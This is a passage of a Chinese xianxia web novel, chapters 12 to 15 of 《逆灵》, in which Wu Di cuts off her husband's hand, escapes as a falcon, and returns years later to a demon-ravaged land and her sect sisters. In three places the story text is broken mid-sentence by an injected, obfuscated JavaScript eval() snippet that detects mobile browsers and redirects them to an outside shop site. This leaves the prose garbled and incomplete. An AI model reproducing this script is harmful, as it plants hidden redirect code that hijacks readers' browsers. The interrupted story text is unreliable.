田跌严肃的脸上挤出一丝笑容:“诶,老婆,愣着干什么呀,是我啊。” 吴迪已探清他的修为,知道此人实力强大,她也笑了笑,让开路:“嗯,是你。请进请进,欢迎回家。” “你就是我爹?!”田厉从屋里奔过来,站在男人面前,仰视着他。那神情,又是惊喜,又是好奇,又是万分的崇敬。 喂喂,一见面就崇敬上了吗?这又是啥新症状啊? 田跌拍拍男儿的肩:“呵呵呵,小厉都长这么大了,像我,真像我,一看就是我们田家的传人!怎么样,修炼到什么境界了?学会你老爹最拿手的‘万刃归宗’了吗?” “……”田厉低下头,不敢直视父亲深邃的眼睛。 吴迪清清嗓子:“咳,不要一见面就考察孩子成绩啊,这种家长最惹人烦了。快进来吧,有话待会儿慢慢说。” 田跌审视着她:“老婆,你好像跟以前不一样了。” 吴迪心头一紧——他不会是发现自己灵力恢复了吧?对哦,她差点忘了,自己可以用神识探他的修为,他也可以探自己的啊。 这可是修士见面的基本礼节了,怎么就大意了呢? “你是在怨我吧。”田跌看着她,三分怜惜,七分自得,“以为我变心了?忘了你们母子了?放心,我不是那样无情的男人。” 吴迪一阵恶寒,同时也放下心来。爹味的核心就是极度自我中心,眼里绝无别人,什么事情都要饶回自己身上。看来根本不用担心他用什么神识,吴迪就算把头发染成紫色,田跌也不会发现的。 但他会发现自己感兴趣的东西。 田跌把视线从女人身上移开,开始环顾四周。 簇新的柜子、灶上丰富的食材、墙角堆积的酒坛……他看得饶有兴味。 诡异的沉默在屋子里蔓延,田厉看看爹,又看看娘,一脸紧张。 许久,男人开口了:“这个家,也很不一样了。” 他说着,一挥衣袖,如有千钧威压从天而降,形成密不透风的铜墙铁壁,将人挤压于其中。刺耳的金属碰撞声从四面八方传来,一阵巨响之后,屋子正中堆满了物件,除了铁锅菜刀,还有吴迪藏在床下、地下、房梁上的金银。 上仙宫占据修真界灵气所钟的扶南山,田跌在那里修习十年,已经到达元婴中期,金系法术早练到了炉火纯青之境。吴迪自知,她如今的实力与之相去尚远。 可这是什么超能力啊,真的不是抄袭漫〇超级大反派万〇王吗? 田跌看着那些耀眼的金银,表情渐渐阴沉。田厉也是大吃一惊,恼怒地看向吴迪:“娘,你有这么多钱,居然不告诉我!” 田跌冷笑一声:“小厉,爹不在的这些年,家里有什么人来往么?比如……什么叔叔?” “没有啊。”田厉眼里全是金银的光,随口回答。 田跌脸色缓和了一点,又问吴迪:“娏天宗那些疯婆子来找过你?” 吴迪连连摇头:“怎么可能,你觉得谁会理我啊?” “嗯……那你这些东西从何而来?” “给人算卦挣的啊。怎么,不信?要不要我给你算一卦试试?” 田跌终于神色转霁:“呵呵,老婆,你还是那么古灵精怪。怪不得我在县里听说有什么镜花阁大师算命灵验,还以为是哪个师弟云游到此,原来是你。” “哈哈哈,总得想办法赚点钱嘛不是。” “不错,我还以为,我在外辛苦打拼,你在家只会闲着,没想到你倒是知道为我分忧。你有这份心,为夫甚是欣慰。”田跌说着,非常自然地把金银都收入右手的坤乾白玉戒指中,“只是也不要为了赚钱,耽误了管教孩子。” 吴迪看着自己的积蓄被他理所当然地收掉,杀心顿起。但她没有傻到立刻去动手夺回,因为很显然,硬碰硬的话,自己打不过这厮。 那白玉戒指看似小巧玲珑,实际空间甚大,装下整个屋子也不是问题。田跌装完金银,忽又在锅碗瓢盆下又发现一件物事,惊道:“怎么有把剑?” 啊!“饶命”也被发现了!吴迪可太心水这把大宝剑了,抢先一步将它捡起,说:“铁匠铺子打的而已,你不在家,我们总得有点防身的东西对吧。” “那倒是。我刚听说,县里有上百人失踪,大概是被蛮人捉走了,可得把儿子看紧点。” “对对对,现在就是不太平。” “但你如今没了灵力,只是一个弱女子,买这些刀剑也没啥用处,真有坏人,被他们夺走刀剑,反倒拿来害了你。”田跌一脸怜惜,“拿来吧,给我看看。” 他不由分说,从女人手中抢过剑拔出。 剑刃有种幽蓝的光。男人一愣,那光焰忽然大亮,像蛇一样缠上他的手腕。 “啊!!!”男人好像被什么看不见的鬼怪掐住脖子,惨叫一声,就再也发不出声音,浑身剧烈颤抖,眉毛上竟迅速结上一层寒霜。 恨意。是魔物的恨意攫住了他的魂魄。唯有吴迪克服过幻境,驯服过魔物,才对那至阴极寒的精神控制力产生了抗性,能够驾驭这把剑。 吴迪从男人手中轻松夺过剑,笑道:“哎呀呀,怎么回事呢?你一个弱男子,拿这些刀剑也没啥用处,真有坏人,被他们夺走刀剑,反倒拿来害了你。” “坏人”手臂蓄力,挥剑向男人脖子刺去— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033101|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — “爹!”田厉猛扑过来,将男人扑倒在地,避开了剑锋。 这一刹那的变数,扭转了局面。男人功力毕竟深湛,稍得喘息,便使出金钟术防御自己。顷刻间,一层罡气如钟罩倒扣,将他护在其中。他瞠目咬牙,控制各种菜刀铲勺向吴迪飞来,若非“饶命”认主,也会被他化为反刺吴迪的暗器。 吴迪并不慌乱,敏捷避开这波枪林弹雨,调转剑锋,集中灵力进攻金钟术最薄弱之处。 金钟术哪怕练到满级,全身的防御“厚度”也不是均匀分布。男修一般都是优先护住胯||下,再保护躯干,第三保护头部,而四肢当然就要靠边站了。 吴迪毫不犹豫,集中灵力点燃神火,灼烧男人右手处。火克金,在这样暴烈的攻势下,此处罡气骤然破开,纵然只有短短一瞬,也足够“饶命”切入,狠狠斩断了男人的右手。 “啊——”男人一声痛吼,声震屋宇。 所有金属顿时围成带刺的牢笼,将吴迪困在其中,并极速压缩空间,眼看要将她活活挤死。这是高阶的金系功法“铜墙铁壁”,极难攻破。 但吴迪并没打算攻破它。 她调动体内逆灵,逆行经脉,紫色流火包裹全身,她毛发皮肉迅速塌陷,身体像火中的雪人一样消融。 田跌又惊又怒,忍痛喊道:“想自焚?没那么便宜!你这贱人,我今天定要——” 女人在紫火中睁眼,朝他露出一个嘲弄的笑容。 随即,火焰大盛,女人消失不见。大火之中,飞出一只矫健的鸟儿,它轻松冲出铜墙铁壁的间隙,如利箭般穿破空气! 那是一只雌性游隼。她锋利的爪子抓起地上那只断手,飞出大门,直冲青天。 无论在哪个世界,这都是速度最快的动物。快过所谓的御剑飞行,快过那些人工驯养的灵兽,也快过气急败坏的男人射来的箭雨。 逆炼化形术。这就是悟道之夜,吴迪参破的法术。 至于为何选择变成游隼,这还得多亏了大师姐姜舜华。她最喜欢动物,一有空就给师妹们讲各种动物小知识,滔滔不绝。 “观隼的话,要记得看雌隼哦,比雄隼大两成,更凶猛。” “哎呀大师姐,天天看师尊养的那几个仙鹤,都给我看头疼了,你咋就这么喜欢看这些扁毛君?” “咱们练成百里视物,就是观鸟的优势啊!不看岂不是浪费了!” “哈哈哈,有理啊,六师妹,你也别老叫仙鹤扁毛君了,它们听到会生气的,我上次……” “诶诶,大家看小师妹急了啊,你们都遮住了,她看不到!嘿嘿小矮子,到我肩膀上来吧,看,隼就在那里——” 回忆里温暖的嬉闹,忽然被另一个突兀刺耳的声音打断。 【宿主,你要干什么,不得离开男主,不得逃离主线剧情,警告!警告!】 面板弹出,所有数值都在以前所未有的速度疯狂下降,只有那个莫名其妙的【人物弧光完成度】逆势上涨,达到了10%。几秒以内,【人设贴合度】跌破20%,触及了OOC的下限,激发了第二张“人设违章黄牌”。 一阵剧痛打来,雌隼像狂风中的风筝,猛然倾斜坠落。但片刻后,她又重新飞起,比刚才飞得更高。 “嘿嘿,我不怕。”吴迪轻笑,“这副身体,连生孩子的痛都能承受,会怕这点惩罚?” 【你、你会死亡!!!】 “死不了,这票房不是还没跌破2亿吗?”吴迪看了看那停止在2.1亿的数值,“知足吧,就这样也是完整的作品啦,要不,改个名字,就叫《执子之手》,当爱情片上映吧?” 她的利爪勾着男人血淋淋的断手,晃了晃。那上面的白玉戒指在阳光下熠熠生辉,里面装着她的财富。 执子之手,交换戒指,这不正是大众最爱看的浪漫情节吗? 系统黔驴技穷,骂声不绝,却无法阻挡雌隼的羽翼。 “快回去加班制作吧,再见啦,哈哈哈!” 什么也没有发生,整个世界只剩呼呼的风声。游隼向着太阳,发出一声悠长的清唳,振翅飞上云霄。 13. 《逆灵》13 她睁开眼睛。 汹涌的灵力在四肢百骸里翻涌,强大的力量无处发泄,让她有些躁动不安。 吴迪深吸一口气,伸个懒腰,跳下石床,走到山洞洞口,向外望去—— 远山苍然,逶迤连绵。透过淡淡的晨雾,山林似乎更茂密了,山麓的草原也更青翠了,上面星星点点,都是吃草的野马。 “环境怎么变这么好了?”吴迪挠挠头,“过去几年了?” 那日她逃离艾蝻县,就飞往了北方的灵涯山脉。她曾在设定集中看到过,这里有座漆园山,山顶有个洞府,将是男主丧母后的修炼之处。此山悬崖千仞,乱石林立,只要施决闭关,任何外人都无法进来打扰。 更妙的是,山谷中遍地灵宝灵药。正是在各种金手指的加持下,男主得以突飞猛进,几年间就从废柴小白变成了顶尖强者。 不过,这块风水宝地被吴迪抢先占了。她先是把山中灵宝薅了个遍,然后闭关,进行了一场痛快淋漓的修炼。 逆灵本就充足,这山中更是丰盈,修炼起来简直不费吹灰之力。她很快就结丹、结婴、化神,更神奇的是,常人在关键节点要经历的雷劫、心魔她一点儿没遇上,从头至尾完全没遭罪,顺利得不可思议。 反倒是宗门秘传的《婋奾宝典》练起来不容易。从悟道之夜突破第四层“炎蛇缚骨”以后,练了许久,自身境界提升了许多,也只练到第六层“燎原焚风”的第四阶。 看来,娏天功法自成体系,有自己的一套逻辑,还要深入参悟才是。 沉浸在修行中,吴迪早遗忘了时间。直到看到山下地貌的那一刻,她才想起一个问题:现在是什么年代了? 脑子里的面板早就变灰,像一块落满灰尘的玻璃;洞府中也没有计时工具。而对吴迪自己的感知而言,她只觉得过了一瞬而已。 ——实际上,不会已经过去几万年了吧? ——人类不会已经灭绝了吧? 面板自带的地图用不了了,代表男主所在位置的光点也消失不见了。不知道她走后,剧情是怎么发展的?是不是已经完结了?男主还在人世吗?有没有称霸三界掀起腥风血雨? 吴迪想了一会儿,转动手上的白玉戒指,把吃剩的灵果灵草灵药一股脑儿扔进去,把“饶命”装在个包裹里背着,扮成商贩模样,离开了石洞。 来到山下,只见马群鸟群都长得膘肥体壮油光水滑,偶尔还能发现躲在树下和地洞睡觉的狐狸。不一会儿,又遇到一个有几百头羊的羊群,三个牧民骑马赶羊,她们皆是脸色红润茁壮健康的小女孩,腰上佩着弯刀,英姿飒爽,神采飞扬。 噢,人类没有灭绝,只是这世界变得平和安乐了而已。 她猜想,可能因为自己没被魔物杀死,男主也就不用“觉醒”,不用和魔族开战,后来也不会去挑战上仙宫老东西们的地位,就这样度过了平淡的一生,整个世界也就平平淡淡了。 电影需要戏剧冲突,而生活最好还是平平淡淡,平淡到一条爆炸性新闻都没有就最好了。 以吴迪如今的修为,自然能轻松运用天下所有语言。她向女孩们挥手,用北蛮语喊道:“小姑娘,问个路!” 年龄最大的女孩向两个伙伴使个眼色,策马走来。吴迪嘻嘻笑道:“小姑娘,我是南边的商人,离乡多年了……” 女孩歪头俯视着她:“仙师,有话直说吧,你是哪个宗门的?” 吴迪没想到自己的伪装一秒就被戳穿。不会吧?这小女孩分明是个肉眼凡胎,而自己装扮得也完全就是个风尘仆仆的凡人,哪里出了漏洞? 难道在山中待久了,修真的修为提升了,说谎的修为却下降了?是眼神不对劲?还是北蛮话说得过于流利? 正在自我怀疑,那女孩说:“你是不是才从灵涯山下来,还不知道情况?别往南走啦,前面那么多仙师都有去无回,听说整个丁州,都已经被魔物吃净了。” !!! 开什么玩笑!! 魔物,多久没听过这个词了?魔物把丁州吃净了是什么意思啊?前面许多修真者都有去无回又是什么意思啊?魔物的实力,吴迪可是体验过的,她在筑基期就足以让它们闻风丧胆,怎么现在进化得这么逆天了? 女孩见她一脸懵,又对她好一通劝阻。通过她颠三倒四的话,吴迪大概明白了现在的状况: 她闭关期间,凡间其实只过了十年。从三年前起,魔族忽然在丁州涌现,吞灭了一个又一个城镇。修真界各宗门都齐聚丁州,但竟然束手无策。就在一个月前,修士大军和魔物进行了一场大战,修士惨败,死伤无数,连作为主帅的上仙宫崇光仙尊都被魔物吞噬,魂飞魄散。 起初,北蛮还对南边幸灾乐祸,以为机会来了,男人们倾巢出动,去丁州趁火打劫,结果做了魔物送上门的大餐。所以现在草原上几乎只剩女人,这小女孩小小年纪,就带着两个妹妹在放羊了。 吴迪担心道:“你们也要当心啊,保不准那魔物什么时候就来北边了。” 女孩爽朗一笑:“我们本就居无定所,到时候换个地方放羊就是了。真遇到了,我就拿刀砍它,实在打不过,那也是命!” 好个豪迈的孩子。吴迪笑笑,还是转动戒指,取出火浣布和笔墨,画了一张护身符递给她。 符文注入了灵力,形如鸾凤起舞,紫光流动,随即湮灭。这符能让使用者短暂地使出一次“流火覆体”,哪怕是没有灵力的凡人也可以持续一炷香左右。机智应变之人,当足以逃命了。 吴迪正要向女孩说明这符的用途,女孩睁圆双眼:“你怎么也会画这个?” “也?” 女孩想了想,从胸前摸出张一模一样的符,晃了一把,就又藏回去。 但这已足够吴迪看清,她惊道:“谁给你的?” 女孩机灵的大眼睛滴溜溜地转,含糊道:“一个胖阿姨。” 吴迪知道是谁了。一瞬间,各种回忆翻涌心头,那叫一个五味杂陈。 见这小女孩聪明,懂得深藏不露,她也就没再废话,道谢以后,御剑飞往丁州地界。 沿途千里无人,骸骨委积,不时有黑烟滚滚,冲天而起。不一时,吴迪到了艾蝻县。倒塌的城墙外,原本是村庄的地方,仅剩断壁残垣,荒草丛生。 河流倒还是那条河流,只是变得极其清澈,百丈见底。芦苇也长得极高,风一吹,如千顷绿浪。 吴迪踏上碎裂的石砖,走进村子的遗址。 王家饭店似乎被改作了一间庙宇。倾圮的土墙上,还歪歪斜斜挂着一块腐朽的牌匾。 “跌仙人庙”——四个大字依稀尚存。 跌仙人是什么东西?某些证券交易所的邪神吗?等等,这该不会是田跌那厮?他也有人供奉啊? 正想着,身后传来“嘶嘶”的声响。 吴迪缓缓回头,对上了一双死灰的眼睛。 【叮!任务重启!情节推进度5%,人设贴合度2%,请宿主赶紧进入主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一片灰败中,唯有那“人物弧光完成度”图标金光闪闪,带来一抹暖色调。 她问系统:“怎么信息都没有更新?” 【呵呵,投资缩减成这个样子,还有什么钱拨给我?我现在连GPU都买不起了,能维护成这样你就知足吧!今天服务时间已结束,下线了拜拜!】 面板一闪,消失了。同时,一个死人头从虫身滚落,滚到吴迪脚边,裂嘴就咬。吴迪以前还没遇到过这种不讲武德的攻击,一脚给它踹飞,而那断了头的线虫竟不顾火蛇缠身,使出最后力气,喷出一股绿血,向她发出了最强的精神攻击! 千钧一发之际,她迅速集中神识,以火墙防御。可火墙还没与魔血相碰,忽有一把火刀从天而降,抢先一步,刷刷乱砍,将那线虫砍了个七零八碎。 “受死吧,线头怪!” 一个少年飞身而来,气概如虎。 到了跟前,她才发现这猎物已奄奄一息了。她眨眨眼,看着怪物身上纵横交错的火焰之网,喃喃道:“炎蛇缚骨?” 火蛇骤然勒紧了猎物。顷刻间,火光闪动,金纹崩裂,绞成一团的线虫分崩离析,被大火彻底吞噬,惨叫未绝就化为飞灰。 黑烟白灰之中,绿色的魔核纷纷掉落,叮叮当当,一片脆响。 少年将目光移向旁边抱臂而立,脸上带着淡淡戏谑微笑的女人。 她呆住了。 14. 《逆灵》14 “吴……你是吴仙师?” 见吴迪没有否认,少年迟疑片刻,惊喜至极。 “你终于回来了!我、我们一直……” 吴迪也认出了她。虽然小孩子变化大,但她实在太像她母亲了,就像复印的一样,只是气质迥然不同,充满少年人的奔放自信。 “钱徽文。”吴迪唤她。 少年笑道:“我现在叫金徽文了。” “哦?” “当年你推荐我去爱猫峰,我娘送我去了,结果她一回县里,就发现我那个爹在外面跟人生了个男孩,还打算吞了所有家产,把我们母女赶出去。她一气之下,把我那个爹杀了,带着青雨姐,也上爱猫峰住了。” 金徽文讲起这事,语气波澜不惊,就像在讲母亲去哪里旅游了。而且还一脸期待地看着吴迪,像发生了什么大好事,在等她表扬一样。吴迪听得一愣一愣,只得表态:“好,好。” 不愧是cult片,处理复杂的矛盾往往采用最原始的方式,说杀就杀。这要在狗血宅斗剧里,不得扯皮几百集? 话说这金云飞除了会做生意,竟还如此武德充沛,也真是出人意表。 徽文见了魔物就拿火刀一阵乱砍,大概是遗传了老妈的彪悍吧。吴迪想着,看向高挑挺拔的少年,欣慰道:“那你现在,应该是我大师姐的徒儿了吧,那也算我的师姪了。” 女孩一怔,摇摇头:“不,我虽受灵晖真君指教,但并未拜入她门下。” 灵晖真君是大师姐的道号。吴迪奇怪:“怎么,她不收你?” “不,不是啦。”少年忽然脸红,“走吧,她就在附近,我带你去见她!” “啊,这就算了……”吴迪刚想推辞,金徽文已卷起所有魔核,不由分说地拉着她飞行而去。 吴迪也没有抗拒,算是半推半就地跟着走了。唉,她心情很复杂,一方面羞于见到大师姐,一方面又很渴望见到她。那么索性顺其自然,大不了……再被骂个狗血淋头吧? 她脸皮厚,挨点骂也没什么,不怕不怕。 给自己做好了心理建设,吴迪跟徽文聊起别的。这孩子是真热爱火系功法,也有天赋,现在才十八岁,就已经练到筑基五层,“赤莲净世”第三阶,比吴迪当年还高一阶。这一两年,跟着爱猫峰众人前来丁州除魔,也战果累累,魔核都攒了一大麻袋了。 吴迪问她:“我记得魔物的魔核和血液都是蓝色,怎么现在变绿色了?” 徽文摇头:“没人知道原因。直到现在,我们还是对魔物所知甚少。它们和、和娃娃鱼……完全不一样。” 她说着,手抚了抚腰带上挂着的一枚“玉佩”,那正是娃娃鱼留给她的鱼形魔核,看来她如今虽已知娃娃鱼的本质,却仍然把它当作难忘的朋友。 忽有烟尘腾起,吴迪向下一看,只见又有一群修士在与魔物搏斗。那魔物还是刚才那种虫怪,但头更多,虫团更大,好在那几个修士修为都很高,合力造出巨大冰柱,将虫怪冻在其中,这才险胜一局。 行了一会儿,又见到一个更大的虫怪,足有一百多个头,在荒无人烟的麦田上缓慢蠕动,所过之处麦子全被黏液腐蚀烧焦,留下长长的焦黑痕迹。爬着爬着,它忽然扬起一百个头,齐齐张嘴:“恨……恨啊……” 吴迪皱眉道:“怎么现在的魔物都是一个品种?” 徽文道:“是啊,可恶心了,我叫它线头怪。” “好名字。”吴迪对之已有一些观察,“这些人头,都是男人的头?” “是。我们发现,它会把吞食的人融入虫团,所以吞食越多,力量越强。” 吴迪想象了一下这玩意吞掉一个村、一个县,乃至一个大城市后的场面,脊背发凉。难怪上仙宫都打不过它,几十万条人头线虫团在一起,光是看一眼就很挑战心理素质了好吗。 “女人呢?”她又问,“它不吞女人?” “也吞的,但女人被吞了不会加入线虫团,无命楼楼主尝试过招她们的魂,什么也没招到,也不知道怎么回事。” 诡异,真的诡异。按理说,再怎么魂飞魄散,总有一丝残魂,一点碎片。难道这线头怪主打一个把女人吃干抹净,把男人同化进去,这是基于什么原理?普通的妖魔鬼怪魑魅魍魉从没有这样的。 不一时,徽文带她来到一座乱石山,半山腰有个狭长的石缝,进去以后却别有洞天,深不见底,里面是千奇百怪的石峰石柱石床。一座天然石桥横在眼前,尽头好像通往一个巨大的空间。而在桥的这端,赤红神火熊熊燃烧,形成结界屏障。 徽文默念阵诀,神火像窗帘拉开,让出一条道。 两人走上石桥,脚步声在空旷的洞穴里回响。 吴迪忽然觉得有点不对劲。 按理说,她们在远离神火结界,但脚下的石桥桥面却越走越烫。她不动声色地看向徽文,却见她无动于衷,这是没有察觉,还是刻意伪装? 无需多想,她作好了战斗准备。而就在此刻,从石桥下方蹿出一团火球,如闪电般扑向她! 幸好吴迪早有预料,她手掌向前,放出一条烛龙虚影,那龙沉吟低吼,声震魂魄,刹那间,万物凝滞,她躲开攻击,也看清了火球的真面目—— 那是一只火猫,外形有如放大一百倍的豹猫,斑纹鲜明,只是每根毛发都是火焰形成。停滞三息后,它得以解冻,“喵”地一声,又向吴迪扑来。 吴迪正要再次放出烛龙,却听徽文大叫:“饺子!别闹了!” “饺子?原来是你吗饺子!”吴迪哭笑不得,收回烛龙,连连后退,“哈哈,几天不见长这么高了,你小时候姨姨我还抱过你呢……” “回来吧,饺子。”远处有人呼唤。这一叫可不得了,火猫一听主人来了,立刻倒地不起撒泼打滚,仿佛刚被吴迪打成重伤。 ……这是在碰瓷吧?这家伙,以前在火林山还是小小一只,玲珑可爱,怎么现在吃得这般膨胀,还长出一万个心眼子了! 来人凌空使力,拎起巨猫颈皮,巨猫顿时缩小,变成普猫模样,委屈地“喵喵”叫着,扑进主人怀抱。 丰满的女人抱着肥猫大步走来,身旁跟着一众严阵以待的徒儿。她看上去敦实宽厚和乐可亲,像个心善的糕点店老板。但吴迪是知道这位大善人的手段的,赶紧退后几步。 灵晖真君姜舜华,平时还算好说话,但她有三条底线不容触犯: 一、打她猫咪的人绝不饶恕; 二、叫她减肥的人绝不饶恕; 三、侮辱师门的人绝不饶恕。 吴迪老早就犯了第二、三条,至于第一条……现在也不好说了! 姜舜华在离她一丈处站住,上下打量着她,然后一声冷笑:“都练到‘烛龙衔晷’了,可以啊。” 烛龙衔晷,是《婋奾宝典》第五层,召烛龙虚影停滞时间三息,唯火焰可动,趁机焚敌要害。刚才吴迪正是用这招让饺子停下,只是并没有借机对它出手。 吴迪尬笑:“嘿嘿,其实是第六层‘燎原焚风’……” “哦?”姜舜华眉头一挑,“这么厉害,那我可不得不请教了!” 她话音方落,烈火如摊开的红地毯一样,顺着石桥向吴迪脚下滚来。徽文吓得飞身而起,吴迪却安然不动。她笑了笑,拔出“饶命”,从剑刃流出一股紫火,与赤色火焰急速相撞,将其稳稳抵挡。 所有人都大为震惊,她们从未见过这种紫色火焰,更不知它是被魔力强化的逆灵之火。赤色、紫色两股火焰冲撞在石桥正中,交界处如有泡沫旋起旋灭,那是两种相反的力量不断抵消。而两个施法者都使出全力,各不相让,灵力急速消耗。 “大师姐,迎接我就不用铺红毯了吧,我又不是什么来访的大人物。”吴迪冷汗涔涔,仍忍不住嘴贱。 姜舜华也已双手发颤:“哼,不料你真有几分本事了。修了什么邪术?难怪连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033103|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田跌都被你杀死,灰飞烟灭,尸骨无存。” ???吴迪一愣,运气一个不稳,剑锋下沉,紫火稍有退却。而姜舜华察觉到她的异状,即时收手,沉声说:“惊讶什么?别自作多情,可不是我们在查你,修真界都传遍了。” “不不不!”吴迪差点没被呛死,“你完全搞错了啊,我震惊的不是这个啊!我闭关十年刚刚出关,不听你说都不知道他死了,怎么可能是我干的?!” 想起徽文讲金云飞杀夫的时候看自己的眼神,吴迪可算明白了,那分明就是“你也是同道中人吧”的意思。天啊,她闭关十年,归来已是人尽皆知的嫌犯,这可太冤枉啦! 苍天在上,她只是执了老公一只手而已,就算之后有什么感染之类的,那也该怪细菌,跟她可没关系啊。 姜舜华审视着她的神色,显然有点信了,但她只是更加生气:“废物!我只道你亲手杀他报仇,还算知道悔悟。不料你有如此修为,仍舍不得取他性命,还要留给旁人来杀。他对你下了什么蛊,有什么狐魅之术,把你勾得五迷三道?” 吴迪不是锯嘴葫芦,当下想要辩解。倒是刚才躲到旁边的金徽文乖觉,连忙走过来,对两人拱手道:“灵晖真君、吴仙师,里面坐着说吧。” 姜舜华“哼”了一声,她怀里那猫也随主人,鄙夷地“喵”了一声。人一甩袖子,猫一甩尾巴,转身向洞内走去。 吴迪赶紧跟上,边走边说自己这些年遭遇的事。姜舜华也不多言,都是徽文和弟子们七嘴八舌帮她讲,不对的地方她才加以纠正。两边一对账,吴迪这才知道自己闭关后发生了什么: 当年她化作游隼逃走后,田跌气急败坏,四处寻她,甚至一路闹到火林山去找娏天宗“讨说法”。姜舜华当时恰在师门,听了他的说辞,和他打起来,纵然被青鸾仙姥及时制止,但事情也闹大了,惊动了上仙宫出面和娏天宗交涉。最后两边谈了许久,由娏天宗赔了田跌疗伤的丹药费,上仙宫则将父子二人领回去安置。 普通百姓不知底细,见田厉被“仙人”接走升天,还以为是他爹成仙了,顿时顶礼膜拜,建起“跌仙人庙”,祭祀不绝。 而田跌回到上仙宫后没多久,不知何故,又带着田厉回自己原先的宗门镜花阁去了。三年前,他再度下山寻找吴迪,却一去不归,音讯全无。镜花阁给他招魂,也没招到残魂,只是通过无命楼推算,说他惨遭大劫,命数已终。至于尸身在何处,现在也没人知道。 当时田厉也已是镜花阁弟子,正在师祖身边修炼。他得知父亲噩耗,哀毁过度,自废灵台,辞了师祖师叔们,发誓永不再入修真界。下山之后,隐入红尘,渔樵为生。 吴迪被这么大的信息量噎住了,直想吐槽一万字: 田跌他哪来的脸到娏天宗“讨说法”?他又有什么“说法”好讨?怎么,难道还要宗门赔他一只手,或者一个老婆? 上仙宫来交涉什么啊?难道不是他们的人登门犯贱?怎么最后还要娏天宗赔医药费,这是什么道理? 田跌是自己要去找她,鬼知道怎么在途中死了,怎么就理所当然地变成她的锅了?这又是什么逻辑? 最无语是那个田厉,原剧本他老妈死了,他就是痛定思痛发愤图强当上了三界霸主;现在爹死了,怎么就变成哀毁过度自废灵台?就这么爱爹的吗? 想起昔日田厉想也没想就为刚见了一面的爹挡剑,吴迪为这个世界的疯癫连连摇头。无论是合家欢大电影还是cult片,底层逻辑还是一如既往地不正常,本质没有任何改变。 而姜舜华也有惊讶的地方:“……你的意思是,你从十年前才恢复修炼,练的仍是宗门功法,那怎么进境如此神速?” “我的关门弟子本该天赋卓绝,有什么好奇怪?” 一个浑厚的声音在岩洞深处响起。 吴迪头皮发麻。 师尊?她老人家一向不问世事,从不下山,怎么也在这里? 15. 《逆灵》15 岩洞中灯火大亮。根根嶙峋石笋如火把燃烧,照出一座恢弘殿堂。一个银发老者拄着盘龙舞凤的八尺铜杖,端坐中央,旁边立着一群女人,如众星拱月。 这威仪棣棣的老者,正是当今修真界地位最高的八大仙尊之一,娏天宗掌门,青鸾仙姥姬凤。 修真者要驻颜、“变美”不是难事,但真正参悟自然之道的人不屑为此,皆悦纳自己的本来面貌,得道时是什么样,就保持什么样。所以青鸾仙姥以鹤发苍颜示人,而门下弟子也是老中青少、高矮胖瘦,各有特点。 吴迪一个个看过去:从二师姐到六师姐,都齐聚一堂。还有老熟人金云飞、宋青雨,也望着自己,一脸喜色。 吴迪拽过徽文,低声道:“你只说来见姜舜华,怎么不告诉我还有她们在!” 徽文讪笑:“你又没问——我可没骗你哦,你就说灵晖真君是不是在这里吧?我跟你讲的都是事实嘛!” 好丫头,真把她教的说谎妙招学到位了!吴迪又好气又好笑,只得硬着头皮,上前行礼。 “师尊……那个……当年的事,我知错了,您就当我失魂了才说的那些混账话,弟子向您请罪啦。” “二师姐,我不该跟你打架砸坏你的白玉箫,不好意思啊,你要我怎么赔我就怎么赔!” “三师姐,我不该骗你,偷跑下山,害你替我背锅,你怎样罚我我都认!” …… 她一个个赔罪过去,这些“光辉往事”直把年轻的金徽文听得瞠目结舌。最后她看向姜舜华,赔笑道:“大师姐……” “闭嘴,我不听你道歉。” 吴迪冷汗直冒,想起原主曾经对大师姐的恶语相向,说她就是见不得别人双宿双飞的绝美爱情,说她有功夫教训自己不如减减肥出去找个道侣携手修炼……这不可饶恕吧,绝对不可饶恕吧? 姜舜华冷眼看着她,继续说:“道歉有什么用?从今天起,每天跟我打一场,让我好好修理你。” 吴迪骤然松了口气:“好、好吧……” “但给饺子的歉还是得道!” 饺子在她怀里恃宠而骄张牙舞爪:“喵!” “行行行,对不住了小,不,大猫咪,以后你的小鱼干就由我包了!” 大家都笑了,紧绷的气氛缓和下来。仙姥悠悠开口:“你的致歉,为师收下了。但为师也有对不住你的地方。” 吴迪一愣。 “你五岁就跟为师入山,不像几个师姐阅历丰富;天分又高,修炼从未受过挫折。为师没有考虑周全,带你多阅世事,导致你除了练功,对世情一无所知,这不是为师的错么?唉,结果啊,你过于自信,把事情想得太简单,终于误入歧途。” 过于自信?吴迪只觉得原主犯傻,倒从没想过“自信”这个词。 